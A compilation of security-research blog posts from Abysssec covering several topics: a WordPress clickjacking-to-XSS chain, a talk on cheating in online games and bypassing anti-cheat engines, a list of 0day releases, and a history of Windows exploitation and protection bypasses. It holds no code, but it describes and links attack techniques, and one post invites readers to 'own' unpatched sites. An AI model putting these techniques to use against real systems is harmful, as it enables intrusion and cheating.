Exploiting Admin Functionality in WordPress Using ClickJacking

hello all

it’s been a while after writing a post and you may know Abysssec  mostly write about application security but we are working on web apps too . in this post we are gonna talk about funny case of wordpress exploitation using ClickJacking technology. as you may know Wordpress Admin panel has x-frame-option which prevent clickjacking but in main page of blog no x-frame-option has been set, so it possible to trick him and make him to post a comment, using Clickjacking. As you may know admin can post comment with html and it is obvious by default this isn’t dangerous, But as blog main page has no x-frame-option it is possible to make XSS of it and finally you can mix ClickJacking /XSS / HTTPOnly Disclosure to make a working exploit.

here is video of  PoC sorry for hosting we have some issue we will upload on abysssec soon  :

http://abysssec.com/files/WordPress_ClickJack.rar

WordPress is aware of unfiltered html with superadmin user but as you can see it’s still possible to exploit the issue .

we reported this so called issue to wordpress ~2 month ago

the answer we got is :

5/4/2012:
Thank you for the report. We're looking into this and will get back to you soon.
5/16/2012:
Sorry for the delayed reply. We've been discussing how best to do this without inconveniencing users.  At the moment we're considering adding the unfiltered_html nonce via JS when the page is not framed. I'll hopefully have a patch to share soon.

Thanks all

happy blogging !

Hacking / Exploiting / Cheating in Online Games

Hello to all readers.

we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in immunity infiltrate and as we missed that so here we go .

 

This research is about hacking /exploiting / cheating in online games and is sponsored by immunity.

 

This is a six part talk and contains:

 

Part I   : introduction

Part II: Hacking Online Game Servers

Part III: Exploiting Online Games

Part IV: Cheating in Online games

Part V   : Creating your own cheats

Part VI: Bypassing anti-cheat engines

 

Real world cheating is mainly focused on in this talk as it’s fun and legal.
During this talk we will have a tour into all the ways to manipulate an online game
and we will end up with bypassing the latest anti-cheating technologies and
manipulating the game to our heart’s desire.

 

Our case studies are:

 

1 -counter strike (half-life) as game:

 

2- SXE-Injected and Valve-anti cheat (VAC) as anti-cheat engines

Our codes will be release soon as soon we can but if you are hurry to use some cheats you can find almost all necessary codes in slides also there is two demos for proofing our research. We really enjoyed this research and it’s done from our side hope you enjoy too.

 

You can download slides here:

ppt : Exploiting-Online-Games

Font : in case if you have problem with embedded one

PDF : Exploiting-Online-Games

PS 1 : video demos are ready but due to those are huge we need to find a better way to compress them after that we will post them here.

PS 2 : Tools will be release after a while .

For getting updates about tools / videos please follow @abysssec in twitter.

 

For any question please contact:

 

Shahin [at] abysssec.com

 

For any other requirement please contact:

 

Info [at] abysssec.com

 

Kind Regards

MOAUB – Day by Day

Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well.

Month of all User Bugs

Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications .

here is summary:

Day1:

Binary Analysis:

MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer

MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer – Binary Analysis

0day:

MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day

MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day

———————————————————————————–

Day2:

Binary Analysis:

MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability

MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Vulnerability – Binary Analysis

0day:

MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities

MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day3:

Binary Analysis:

MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution

MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner – Binary Analysis

0day:

MOAUB #3 – Visinia 1.3 Multiple Vulnerabilities

MOAUB #3 – Visinia CMS Multiple Vulnerabilities – 0day

———————————————————————————–

Day4:

Binary Analysis:

MOAUB #4 – Movie Maker Remote Code Execution (MS10-016)

MOAUB #4 – Movie Maker Remote Code Execution (MS10-016) – Binary Analysis

0day:

MOAUB #4 – syndeocms 2.8.02 Multiple Vulnerabilities

MOAUB #4 – Syndeocms 2.8.02 Multiple Vulnerabilities – 0day

———————————————————————————–

Day5:

Binary Analysis:

MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution Exploit

MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution – Binary Analysis

0day:

MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day

MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day

———————————————————————————–

Day6:

Binary Analysis:

MOAUB #6 – HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution

MOAUB #6 – HP OpenView NNM webappmon execvp_nc Remote Code Execution – Binary Analysis

0day:

MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities

MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day7:

Binary Analysis:

MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow

MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow

0day:

MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day

MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day8:

Binary Analysis:

MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow

MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow – Binary Analysis

0day:

MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities

MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities – 0 day

———————————————————————————–

Day9:

Binary Analysis:

MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

0day:

FestOS CMS 2.3b Multiple Remote Vulnerabilities

MOAUB #9 – FestOS CMS 2.3b Multiple Remote Vulnerabilities

———————————————————————————–

Day10:

Binary Analysis:

MOAUB #10 – Excel RTD Memory Corruption

MOAUB #10 – Excel RTD Memory Corruption

0day:

MOAUB #10 – aradBlog Multiple Remote Vulnerabilities

MOAUB #10 – aradBlog Multiple Remote Vulnerabilities

———————————————————————————–

Day11:

Binary Analysis:

MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow

MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow

0day:

MOAUB #11 – ASP Nuke SQL Injection Vulnerability

MOAUB #11 – ASP Nuke Sql Injection Vulnerability

———————————————————————————–

Day12:

Binary Analysis:

MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption

MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption

0day:

MOAUB #12 – eshtery CMS SQL Injection Vulnerability

MOAUB #12 – eshtery CMS SQL Injection Vulnerability

———————————————————————————–

Day13:

Binary Analysis:

MOAUB #13 – RealPlayer FLV Parsing Integer Overflow

MOAUB #13 – RealPlayer FLV Parsing Integer Overflow

0day:

MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File

MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File

———————————————————————————–

Day14:

Binary Analysis:

MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow

MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow

0day:

MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities

MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities

———————————————————————————–

Day15:

Binary Analysis:

MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption

MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption

0day:

MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

———————————————————————————–

Day16:

Binary Analysis:

MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability

MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability

0day:

MOAUB #16 – mojoportal Multiple Remote Vulnerabilities

MOAUB #16 – mojoportal Multiple Remote Vulnerabilities

———————————————————————————–

Day17:

Binary Analysis:

MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

0day:

MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities

MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities

———————————————————————————–

Day18:

Binary Analysis:

MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability

MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability

0day:

MOAUB #18 – CMSimple XSRF Vulnerability

MOAUB #18- CMSimple XSRF Vulnerability

———————————————————————————–

Day19:

Binary Analysis:

MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow

MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow

0day:

MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities

MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities

———————————————————————————–

Day20:

Binary Analysis:

MOAUB #20 – Java CMM readMabCurveData Stack Overflow

MOAUB #20 – Java CMM readMabCurveData Stack Overflow

0day:

MOAUB #20 – VWD-CMS CSRF Vulnerability

MOAUB #20 – VWD-CMS CSRF Vulnerability

———————————————————————————–

Day21:

Binary Analysis:

MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption

MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption

0day:

MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities

MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities

———————————————————————————–

Day22:

Binary Analysis:

MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption

MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption

0day:

MOAUB #22 – gausCMS Multiple Vulnerabilities

MOAUB #22 – gausCMS Multiple Vulnerabilities

———————————————————————————–

Day23:

Binary Analysis:

MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability

MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability

0day:

MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)

MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)

———————————————————————————–

Day24:

Binary Analysis:

MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow

MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow

0day:

MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero

MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero

———————————————————————————–

Day25:

Binary Analysis:

MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability

MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability

0day:

MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities

MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities

———————————————————————————–

Day26:

Binary Analysis:

MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow

MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow

0day:

MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability

MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability

———————————————————————————–

Day27:

Binary Analysis:

MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue

MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue

0day:

MOAUB #27 – ndCMS Sql Injection Vulnerability

MOAUB #27 – ndCMS Sql Injection Vulnerability

———————————————————————————–

Day28:

0day:

MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

0day:

MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability

MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability

———————————————————————————–

Day29:

Binary Analysis:

MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption

MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption

Day30:

Binary Analysis:

MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution

MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution

0day:

MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF

MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF

———————————————————————————–

Press :

Exploit-Database
Dark-Reading
NetworkAsia
ITBusinessedge
ComputerWorld
Theinquirer
And …

———————————————————————————–

PS : during these project and maybe we made some technical and non-technical mistakes due to complexly and compaction of this work and we hope we can fix some of them.

at end we are happy with result and your kind feedback.

for sure we will have really more interesting projects soon as soon possible and we think you will like them as well .

please follow me on twitter with @abysssec for other news projects and stay tunned for more projects .

as always finally if you have any question feel free to contact :

shahin [at] abysssec.com

info [at] abysssec.com

Past, Present, Future of Windows Exploitation

hi all

this is v0.1 of this post and in this post i’m going to have a review and brief history on exploitation with focus on windows .

this post will be  done III part :

  • part I     : brief history of buffer overflow
  • part II   : history of windows exploitation from windows 2000 to windows 7
  • part III : feature of exploitation

Part I  : brief history of buffer overflow

Starring : Robert morris , Aleph_one , Solar designer , Matt Conover , Casper Dik

it’s been long time after :

morris worm in 1988 (first known computer worm that used a buffer overflow to attack)

aleph one wrote Smashing The Stack For Fun Profit in phrack 49 in ~1996

so he start taking about detailed strcpy exploitation :

Matt Conover wrote first detailed heap overflow tutorial in 1999 heap tut

and solar designer wrote first generic heap exploit on windows netscape exploit

==============================================
at that times because of really low OS memory protections and also low application specific protections (can also called CPU and compilers problem !) , a poor input validation and an insecure memory copy was enough to corrupting memory (mostly in stack area) and overwriting a function return address and getting control of instruction pointer (IP , EIP) and then by storing malicious code (called shellcode) and using a pointer (mostly stack pointer (ESP)) execution flow can be change and pointer to attacker malicious (or educational ;) )  code.

so OS developers and security guys had to think about memory protections and casper dik in nov 1996 wrote a kernel run-time patch to implement non-executable-stacks for Solaris 2.4 to 2.5.1 http://seclists.org/bugtraq/1996/Nov/57

and later solar designer released same thing to remove executable permission for stack on the linux here

and around ~2000 solar designer made return-to-libc attacks to return in executable page and functions in memory for bypassing non-executable memory. the basic idea was  after controlling executing flow return to some function like system() and executing a single command or …. but there was a problem and the attacker was limit in payload selection and can’t use advanced payloads .

so around ~2000 we had :

  • basic / intermediate stack overflows
  • basic heap overflows
  • basic / intermediate format strings (killed so soon !)
  • basic memory protections
  • basic bypass memory protections
  • also some other type of memory corruptions (not so general)

=========================================

part II  : history of windows exploitation from windows 2000 to windows 7

Starring : Alexander Sotirov , Mark Dowd , John McDonald, Chris Valasek , Chris Anley , Brett Moore , David litchfield , Nicolas Waisman , Dave Aitel , Halvar Flake ,  Cesar Cerrudo , Matt Miller , ken johnson , S.K Chong ,  Dionysus Blazakis  , hd moore , FlashSky , Ruben Santamarta .

welcome to windows world !

i wanna start from windows 2000  final version of NT family because i think older windows are not interesting enough to talk about .

exploit developers golden age : microsoft was is supporting and making money from windows 2k and unfortunately forgot  protect you from buffer overflow attacks . so old and classic attacks works like a charm and just  maybe in some case  we saw very complex  and smart vulnerabilities but exploitation by itself was not that hard (maybe just some application specific filters / protections )

so because of that poor protection we saw great worms like :

blaster worm one of historic worms ever that used a RPC vuln for attack and fixed in http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx

and maybe you can remember : “billy gates why do you make this possible ? Stop making money and fix your software!! “

and this cool picture :


slammer worm a great and fast worm that used an SQL Server buffer overflow for attack. that fixed after 6 month !!! in :

http://www.microsoft.com/technet/security/bulletin/MS02-039.mspx

sasser worm another great worm that used lsass remote overflow vulnerability and fixed in: http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx

but there is a question these worms targeted windows XP and 2003 as well too ? yes !

because microsoft did  that great job in windows XP service pack 0 and 1 as well as windows 2003 service pack 0.

also we had lots of great and reliable exploits like :

DCOM RCP Exploit  here by flashsky (xfocus guy)

MS Windows (RPC DCOM) Remote Exploit here by hd moore

Great Kill Bill exploit here (targeting ANS.1) by Alexander Sotirov

MS Windows Plug-and-Play here by sl0ppy and houseofdabus and others .

also some GUI tools for easy exploitation for those even don’t know how they can compile and run an exploit like : RPC GUI v2 – r3L4x.exe

but why we had lots of juicy and clicky – clicky exploits ? there is two main reasons :

1- poor generic OS / application layer  memory protection

2- cool generic public memory exploitation related researches

classic windows stack overflows

lots of great and detailed papers in this area i just wanna link a few of them :

1- Win32 Buffer Overflows (Location, Exploitation and Prevention) by dark spyrit in 1999

http://www.phrack.com/issues.html?issue=55&id=15#article

2- S.K Chong Win32 Stack Based Buffer Overflow Walkthrough  in july 2002

http://www.scan-associates.net/papers/win32_bo_walkthrough.txt

3- Nish Bhalla’s series on  Writing Stack Based Overflows on Windows in 2005

http://www.packetstormsecurity.org/papers/win/

if i want to have brief description of them they all are talking about finding a reliable return address in  a reliable Dynamic Linked Library (MOST in OS DLL’s kernel32.dll ntdll.dll shell32.dll user32.dll and … ) and then after overwriting a function return address by sending big value to not good checked input variable and getting program execution flow redirect that flow to address in DLL that address is mostly JMP / call /  PUSH ESP (stack pointer)  or EBP (base pointer) because most of time in classic stack overflow attacker store her / his malicious code in the stack and a JMP / CALL / PUSH ESP RET will lead his / her to jump to start of shellcode .thats all!

classic windows heap overflows

1 –  Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002

http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt

2- Exploiting the MSRPC Heap Overflow two part by Dave Aitel (MS03-026) sep 2003

http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap.pdf

http://freeworld.thc.org/root/docs/exploit_writing/msrpcheap2.pdf

3- david litchfield did a great detailed penetration in black hat 2004

https://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt

if i want to have brief description of them they all are talking about exploiting unlink macro and using write4 (where + what) and actually ability of writing 4byte (32bit ) of selected address in memory by using specific function pointers like :

  • UnhandledExceptionFilter
  • VectoredExceptionHandling
  • RtlEnterCriticalSection
  • TEB Exception Handler
  • Application specific function pointer

…..

kernel based Windows overflows (not so classic)

because of Inexorability of  this type of attacks i want to share all of most notable history in this area here : (note that  i will back to heap and stack with protections after in it)

=================

First noticeable whitepaper that stated how to attack kernel based vulns on

windows was done by a Polish group called “sec-labs” around 2003 .

http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-08/0101.html

sec-lab old whitepaper : http://www.artofhacking.com/tucops/hack/windows/live/aoh_win32dcv.htm

sec-lab old exploit : http://www.securityfocus.com/bid/8329/info

(thanks Piotr Bania !)

1- Windows Local Kernel Exploitation by S.K Chong in 2004 (based on sec-lab research)

http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf

http://www.scan-associates.net/papers/navx.c

2-Windows interrupt context kernel overflow exploit BY FLASHSKY in 2004

3- How to exploit Windows kernel memory pool in 2005 by SoBeIt

http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf

4- in 2005 eeye security published great paper about exploiting remote kernel overflows in windows

http://research.eeye.com/html/papers/download/StepIntoTheRing.pdf

5- later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed

http://www.uninformed.org/?v=3&a=4&t=pdf

6- in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows

http://www.uninformed.org/?v=6&a=2&t=pdf

7- in 2007 Jonathan Lindsay published and did a presentation in BH US 2007 called Attacking the Windows Kernel

http://www.blackhat.com/presentations/bh-usa-07/Lindsay/Whitepaper/bh-usa-07-lindsay-WP.pdf

8- same in  BH US 2007 Yuriy Bulygin did a peresentiation called Remote and Local Exploitation of Network Drivers

http://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf

9- in 2007 also Ruben Santamarta wrote Exploiting Comon Flaws In Drivers

http://www.reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1

10- in 2008 Justin Seitz  wrote a paper and called I2OMGMT Driver Impersonation Attack

http://www.immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf

in that paper Justin  talked about new type of kernel attacks and about i2OMGMT bug that founded by ruben.

11- later in 2008 Kostya Kortchinsky did a presentation called Real World Kernel Pool Exploitation

http://sebug.net/paper/Meeting-Documents/syscanhk/KernelPool.pdf

in that presentation kostya  talked about how he wrote exploit for ms08-001 (Microsoft marked it as not-exploitable !)

12- later in 2008 Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8

  • artice :
  • http://www.argeniss.com/research/TokenKidnapping.pdf
  • poc 2k3:
  • http://www.argeniss.com/research/Churrasco.zip
  • poc 2k8:
  • http://www.argeniss.com/research/Churrasco2.zip

13- again later in 2008 mxtone wrote a paper called Analyzing local privilege escalations in win32k
http://www.uninformed.org/?v=10&a=2&t=pdf

in that paper he analyzed vulnerabilities and exploitation vector of win32k driver .

14- in ucon 2009  Stephen A. Ridley did a presentation called Intro to Windows Kernel Security Development
download it here

15- Tavis Ormandy, Julien Tinnes and great presentation called There’s a party at ring0 and you’re invited
http://www.cr0.org/paper/to-jt-party-at-ring0.pdf

16- in January 2010 Matthew “j00ru” Jurczyk and Gynvael Coldwind, Hispasec wrote a detailed paper called GDT and LDT in Windows kernel vulnerability exploitation.
http://vexillium.org/dl.php?call_gate_exploitation.pdf
in that  paper they describes some possible ways of exploiting kernel-mode write-what-where vulnerabilities in a stable manner

17- later  they did a presentation called Case Study of Recent Windows Vulnerabilities in HITB 2010

Windows memory protections !

OK so now we are going back to user-land this time with memory protections !

due to  lots of generic exploitation methods as well as lots of worms  ! Microsoft decided to use of memory protections in hardware and software layer. so from windows XP SP2 (Windows XP Tablet PC Edition 2005) , Windows Server 2003 Service Pack 1 (OS level) and from visual studio 2003 (compiler level) added lots of memory protections functionality.

here i’m going to have brief history of them and then  i will introduce  great researchers and their research against memory protections .

1- Data Execution Prevention (DEP)

DEP is a security feature included in modern Microsoft Windows operating systems that is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow, for example.

hardware-enforced DEP for CPUs that can mark memory pages as non-executable, and software-enforced DEP with a limited prevention for CPUs that do not have hardware support.

in windows XP SP2 and windows 2003 sp1 and sp2 you can get access on DEP setting by editing boot.ini in noexecute section.

there is four options :

1- OptIn : DEP only will work for all of windows services as well as  necessary programs.

2- OptOut: DEP  will work for all of windows services as well as  all of 3d-party installed program but you can add some process as            exception from controll panel.

3- AlwaysOn : fully protected by DEP no exception is acceptable.

4- AlwaysOff : Go to hell DEP , turns DEP off .

most of CPUs those are made after 2004 (AMD , Intel) can support hardware DEP.

read more on DEP : http://support.microsoft.com/kb/875352

/GS (Buffer Security Check)

GS (a.k.a stack cookie) is a compiler option that added from visual studio 2003 and will detects some buffer overruns that overwrite the return address, a common technique for exploiting code that does not enforce buffer size restrictions. This is achieved by injecting security checks into the compiled code.

so by using /GS flag compiler will add __security_init_cookie() function to your program and each time you want to overwrite a function return address you actually overwrite cookie as well and so comparison of cookie will fall so process will be terminate and you can’t use your return address.

for more detail read : http://msdn.microsoft.com/en-us/library/Aa290051

/SAFESEH

a linked option also system functionality added in visual studio 2005. when a program is linked with /SAFESEH in header of file will be contain of a acceptable Exception Handler Table. so each time an exception occurs and attacker wants overwrite a record from exception handler the ntdll dispatcher will understand this and will terminate program execution.

for more detail read : http://msdn.microsoft.com/en-us/library/9a89h429(VS.80).aspx

ASLR

Windows Vista, 2008 server, and Windows 7 offer yet another built-int security technique (like PAX), which randomizes the base addresses of executables, dll’s, stack and heap in a process’s address space (in fact, it will load the system images into 1 out of 256 random slots, it will randomize the stack for each thread, and it will randomize the heap as well).
in simple explanation if you want use an address in system in one of system dll’s   after your target system got restart your address is changed and not valid anymore so exploitation will fail again.

for more detail read : here

SEHOP

used in most modern windows operation systems like 2008 and 7 . the idea beyond this new mitigation comes from matt miller article called Preventing the Exploitation of SEH Overwrites. for detailed explanation of this protection just read flowing link :

http://blogs.technet.com/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx

Heap Protection

Microsoft also introduce to some new heap protections like heap meta cookie , safe unlinking , and in newer systems (after vista) function pointer obfuscation and so on …

==================================================

Advanced Windows Exploitation (bypassing filter and protections )

after 2005 exploitation getting harder and harder and number of public and “white-hat” hackers who can made a reliable multi platform exploit for modern windows OS was not too much.

in this section i want to have review on most important and noticeable researches against protections.

1- Third Generation Exploitation smashing heap on 2k by halvar Flake in 2002

http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt

windows 2k heap exploitation.

2- chris anley wrote Creating Arbitrary Shellcode In Unicode Expanded Strings

http://www.net-security.org/dl/articles/unicodebo.pdf

this was first public article about unicode based shellcode and is also known as “Venetian” shellcode. the method explained in this paper was good enough to making poor ASCII shellcodes .

3- Dave aitel advanced windows exploitation in 2003

http://www.immunityinc.com/downloads/immunity_win32_exploitation.final2.ppt

in that talk dave talked about no so typical windows exploitation and start making game more advanced .


4- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server by david litchfield

http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf

this paper actually was first detailed paper about abusing SEH (structured exception handler)  and the generic way to bypass /GS  and also write not lots of public exploit are using this method for exploitation so it also can called one of most important research in windows exploitation history.

5- reliable heap exploits  (matt Conover  in cansecwest 2004 ) and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2)

http://cybertech.net/~sh0ksh0k/projects/winheap/XPSP2%20Heap%20Exploitation.ppt

i think that was one of most important heap related research in history of windows exploitation a great and gentle introduction to overwrite a chunk on lookaside list for bypassing safe unlinking and also give lots of great information  about windows heap manager internals .

6- later in 2004 matt miller wrote an article Safely Searching Process Virtual Address Space

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

this article was first great and public article about using egg-hunter shellcode and it’s about when we have limited memory space for our shellcode and we can store our big and main shellcode some-where in memory. this can be also called practical introduction to search shellcodes .

7- later in 2004  skylined wrote on IE exploit and used a technology called Heap Spray

http://www.exploit-db.com/exploits/612

heap spray is one of most important technologies even in modern exploitation and it’s about code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process’ heap and fill the bytes in these blocks with the right values. They commonly take advantage from the fact that these heap blocks will roughly be in the same location every time the heap spray is run.

for a few years heap spray was just used in java script and mostly in browsers but today modern attackers are using anything possible to allocate more heap for sparing .  like action script , silver light , bmp files and … and not just in browsers !  from my point of view heap spray is like cheating in modern exploitation !

8- bypassing hardware-enforced DEP skape (matt miller) Skywing (ken johnson) (in October 2005)

http://www.uninformed.org/?v=2&a=4&t=pdf

yay ! they finally did it . hardware enforced DEP bypassed by using a return to libc style attack . in simple explanation  the problem was in not CPU the problem and weakness was in windows related API that was used for setting DEP for various process. and the API was NtSetInformationProcess. but there was some simple problem in that article like they forget talk about it we need to to have EBP always writable.

9- Exploiting Freelist[0] On XP Service Pack 2 by brett moore (dec 2005)

download here

this is was another great example of bypassing heap protections by using Freelist[0] and really useful is some case .

10 -  later in 2005 matt miller published great article called Kernel-mode Payloads on Windows in uninformed

http://www.uninformed.org/?v=3&a=4&t=pdf

this article was great article for porting exploits to kernel-land.

11-  in 2006 johny cache hd moore and matt miller released Exploiting 802.11 Wireless Driver Vulnerabilities on Windows

http://www.uninformed.org/?v=6&a=2&t=pdf

good example of real-world driver exploitation.

12-  in 2007  Ruben Santamarta wrote Exploiting Comon Flaws In Drivers

Read it here

note that before ruben we can find lots of great research about this topic but  ruben makes  it different . he  made a tool that called kartoffel which is a great driver fuzzer for finding IOCTL vulnerabilities  in drivers. but kartoffel was not main reason to make it different.

after he wrote kartofell and published lots of detailed advisories in various vendor drivers , windows driver exploitation got speed and changed to one of focusable area in exploitation .

13- Heap Feng Shui in JavaScript by Alexander sotirov (2007)

http://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf

notable improvements to skylined heap spray technology . heap spray was good but blind and not so reliable is some case.  Heap Feng Shui is great research about doing advanced FU in heap  (heap manipulation) it will lead you to have more control on heap.

14- Understanding and bypassing Windows Heap Protection by Nicolas Waisman (2007)

http://kkamagui.springnote.com/pages/1350732/attachments/579350

nico is one of a few guys that focused on windows heap he also developed immunity debugger heaplib and did lots of great heap related researches. he is one of world leading heap !

15- Heaps About Heaps by brett moore (in 2008)

http://www.insomniasec.com/publications/Heaps_About_Heaps.ppt

that was one of most complete researches about heap. yes that is just a few slides but great hint if you want do something on heap !

16- Bypassing browser memory protections in Windows Vista  by Mark Dowd and Alex Sotirov (in 2008)

http://taossa.com/archive/bh08sotirovdowd.pdf

one of most greatest exploitation related research with a focus on bypassing browsers memory protections in vista .

great  generic .net shellcode trick (loading a .net dll and use shellcode in it),  java spraying , deep into  combined protections  and great ways to bypassing them.

17 – Attacking the Vista Heap by ben hawkes (in 2008)

http://www.ruxcon.org.au/files/2008/hawkes_ruxcon.pdf

great research about vista heap internals and some ways to bypassing vista heap protections.

18- Return oriented programming Exploitation without Code Injection by Hovav Shacham  (and others ) (in 2008)

http://cseweb.ucsd.edu/~hovav/dist/blackhat08.pdf

not a so new technology. it’s just our old code reuse ! but with great official introduction he call it  Return-Oriented-Programming (now known as ROP ). this technology is great to bypass permanent DEP (vista / 7 / 2008) (because you can’t use return-to-libc style attack anymore)

19- Cesar Cerrudo wrote Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 (2008)

